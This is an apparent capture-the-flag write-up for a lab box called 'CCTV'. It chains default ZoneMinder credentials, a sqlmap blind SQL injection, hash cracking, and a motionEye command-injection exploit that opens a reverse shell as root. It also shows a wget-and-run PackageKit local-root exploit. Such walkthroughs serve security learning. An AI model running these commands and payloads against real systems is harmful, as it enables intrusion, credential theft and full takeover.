CCTV

Jul 08, 2026 Easy

Introduction

CCTV is an easy Linux box built around a realistic video-surveillance stack: a ZoneMinder front end on port 80 and a second surveillance tool, motionEye, running internally as root. It is a clean “known software, known CVE” chain, but with two nice teaching moments along the way: an authenticated blind SQL injection that forces you to feed sqlmap a real logged-in request, and a root password hiding in a commented-out config line.

The path: ZoneMinder still uses its default admin:admin login. That version is vulnerable to CVE-2024-51482, a blind SQL injection, which we use to dump the user table and crack mark’s password for SSH. On the host, motionEye listens only on localhost and runs as root; a leaked admin hash lets us in, and CVE-2025-60787 turns its config into command execution as root. I also document the unintended shortcut: the box shipped with a PackageKit version later found vulnerable to CVE-2026-41651, which drops a SUID root shell in seconds.

Enumeration

BASH
echo "<target_ip>  cctv.htb" | sudo tee -a /etc/hosts

Service Discovery

BASH
sudo nmap cctv.htb -T4 --min-rate 3500 -p 22,80 -sC -sV -oN scans/service-scan.nmap
BASH
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open  http    Apache httpd 2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://cctv.htb/

Only SSH and HTTP, and port 80 redirects to cctv.htb.

The web application

The site is “SecureVision”, a fictional home-security company (“Protecting Your World, 24/7”). The landing page also leaks a contact address, info@cctv.htb, worth noting for later.

SecureVision landing page on CCTV

A staff login lives at /zm, titled “ZoneMinder Login”. ZoneMinder is open-source video surveillance software, so this is our target application.

ZoneMinder login page at /zm

Reading the page source of /zm/ leaks the app’s internal API paths:

JS
Servers[0] = new Server({..."PathToIndex":"/zm/index.php","PathToZMS":"/zm/cgi-bin/nph-zms","PathToApi":"/zm/api"...});

The cgi-bin paths are forbidden, but /zm/api responds with “Not authenticated” and, usefully, leaks the framework version: CakePHP 2.10.24.

/zm/api exposing the CakePHP version

Default credentials

Before fuzzing further, the fastest check on any appliance is default credentials. ZoneMinder’s documented default is admin:admin, and it works. Once inside, the top-right of the console shows the exact build: ZoneMinder 1.37.63.

Authenticated ZoneMinder console showing version 1.37.63

Foothold — ZoneMinder SQL injection (CVE-2024-51482)

ZoneMinder 1.37.63 is vulnerable to CVE-2024-51482 (GHSA-qm8h-3xvf-m7j3), a blind SQL injection in the tid parameter of the removetag request:

TEXT
http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1

The catch is that this endpoint is authenticated, so pointing sqlmap straight at the URL just returns 401 Unauthorized:

BASH
sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -p tid --batch
# [CRITICAL] not authorized ... (401)

The fix is to give sqlmap a real logged-in request. I sent the request through Burp while authenticated, saved it (cookie included) to request.txt, and pointed sqlmap at the file instead:

HTTP
GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
Host: cctv.htb
Cookie: zmSkin=classic; zmCSS=base; ZMSESSID=4m6s6f1cebtuo6u5tj12te1ub3
...
BASH
sqlmap -r request.txt -p tid --batch --dbs
TEXT
Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ...&tid=1 AND (SELECT 8608 FROM (SELECT(SLEEP(5)))mjlr)
...
available databases [3]: information_schema, performance_schema, zm

A quick check of our privileges shows we are not DBA, so we work inside the current zm database:

BASH
sqlmap -r request.txt -p tid --batch --current-db --current-user --is-dba
# current user: 'zmuser@localhost'  |  current database: 'zm'  |  DBA: False

The Users table is the obvious target. Time-based blind injection is slow (one character at a time), so I dumped just that one table rather than the whole database:

BASH
sqlmap -r request.txt -p tid --batch --dump -T Users -D zm
TEXT
Database: zm  ->  Table: Users
| Username   | Password (bcrypt)                                              |
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm   |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.   |
| admin      | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m   |

mark is also a Linux username on the box, so his hash is the one to crack (hashcat mode 3200 = bcrypt):

BASH
hashcat -m 3200 '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' /usr/share/wordlists/rockyou.txt
# ...:opensesame

Password reuse pays off: mark:opensesame works over SSH.

BASH
ssh mark@cctv.htb    # opensesame

That is the user flag.

Post-Exploitation — enumerating as mark

Manual enumeration of mark’s home turned up nothing useful. One breadcrumb worth noting sits in a log under /opt/video/backups:

BASH
mark@cctv:/opt/video/backups$ cat server.log
Authorization as sa_mark successful. Command issued: disk-info. Outcome: success. ...
Authorization as sa_mark successful. Command issued: status. Outcome: success. ...

Something is issuing disk-info / status commands as sa_mark. It hints at a service we cannot see yet. Running linpeas surfaced two paths at once:

TEXT
motioneye.service   loaded active running   motionEye Server
  └─ RUNS_AS_ROOT: Service runs as root

PackageKit version detected: 1.2.8
Vulnerable to CVE-2026-41651 (Pack2TheRoot) - PackageKit 1.2.8 in vulnerable range

The intended route is the root-run motionEye service. (The PackageKit finding is an unintended shortcut, covered at the end.)

Privilege Escalation — motionEye (CVE-2025-60787)

motionEye is a web front end for the motion video tool, and here the service runs as root. It is not exposed externally, only on localhost:

BASH
mark@cctv:~$ ss -tlnp | grep 8765
LISTEN  0  128  127.0.0.1:8765  0.0.0.0:*

To work with it comfortably from Kali, I forwarded the port over SSH:

BASH
ssh -fNL 0.0.0.0:4444:cctv.htb:8765 mark@cctv.htb
# browse http://127.0.0.1:4444

motionEye login page reached through the SSH tunnel

The obvious guesses (admin blank, admin:admin, mark:opensesame) all failed, so I went back to the host for config files. The motionEye service definition points at /etc/motioneye, and motion.conf there holds a password in a commented line:

BASH
mark@cctv:/etc/motioneye$ cat motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
...

Commented out or not, that SHA1 value is the stored admin credential, and logging in as admin:989c5a8ee87a0e9521ec81a79187d162109282f0 works. The console reveals the version:

motionEye console showing version 0.43.1b4

TEXT
motionEye Version  0.43.1b4
Motion Version     4.7.1

motionEye 0.43.1b4 is vulnerable to CVE-2025-60787 (NVD), a command injection through a camera config parameter. Since the service runs as root, the injected command runs as root. Using the PoC by gunzf0x:

BASH
nc -lvnp 9001   # listener

python3 CVE-2025-60787.py revshell \
  --url 'http://127.0.0.1:4444' --user 'admin' \
  --password '989c5a8ee87a0e9521ec81a79187d162109282f0' \
  -i <attacker_ip> --port 9001
TEXT
[*] Valid credentials provided
[*] Found 1 camera(s) ...
[*] Payload successfully injected. Check your shell...

The listener catches a root shell:

BASH
connect to [<attacker_ip>] from (UNKNOWN) [<target_ip>]
root@cctv:/etc/motioneye# whoami
root

Machine rooted.

Alternative — unintended PackageKit LPE (CVE-2026-41651)

linpeas also flagged the host’s PackageKit 1.2.8 as vulnerable to CVE-2026-41651 (“Pack2TheRoot”), a TOCTOU race in PackageKit’s file install that hands a local user a SUID root shell. This is an unintended path: the CVE was published after the box released, so it is a shortcut rather than the designed solution. With the PoC by Vozec:

BASH
# on target, as mark
wget http://<attacker_ip>/cve-2026-41651
chmod +x cve-2026-41651
./cve-2026-41651
# [+] SUCCESS — SUID bash at t+2400ms
./.suid_bash -p       # or bash -p
# whoami -> root

Worth knowing it exists, but the motionEye chain above is the intended route.

Attack Chain Recap

TEXT
nmap                                 ->  80 ZoneMinder (cctv.htb)
default creds admin:admin            ->  ZoneMinder 1.37.63 console
CVE-2024-51482 blind SQLi (tid)      ->  sqlmap on an authenticated request -> dump zm.Users
hashcat -m 3200                      ->  mark:opensesame -> SSH + user flag
linpeas                              ->  motioneye.service runs as root (localhost:8765)
SSH tunnel + /etc/motioneye/motion.conf ->  commented admin SHA1 -> motionEye login
CVE-2025-60787 (config cmd injection)->  reverse shell as root
[unintended] CVE-2026-41651          ->  SUID root via PackageKit

Key takeaways

  • Default credentials first. Appliances like ZoneMinder ship with admin:admin, and checking that beats hours of fuzzing.
  • Authenticated SQLi needs an authenticated request. When sqlmap gets a 401, capture a logged-in request (cookies included) with Burp and run sqlmap -r request.txt. Dump only the table you care about when the injection is time-based, or you will wait forever.
  • Read comments in config files. The motionEye admin credential was sitting in a commented-out line. Disabled config is still leaked config.
  • A service running as root is the privesc. motionEye bound to localhost and running as root turned a post-auth CVE into a root shell. Always map local listeners (ss -tlnp) and check what runs as root.
  • Watch for unintended kernel/package CVEs. A box can pick up new local-root CVEs (here PackageKit) after release. Handy, but learn the intended path too.

References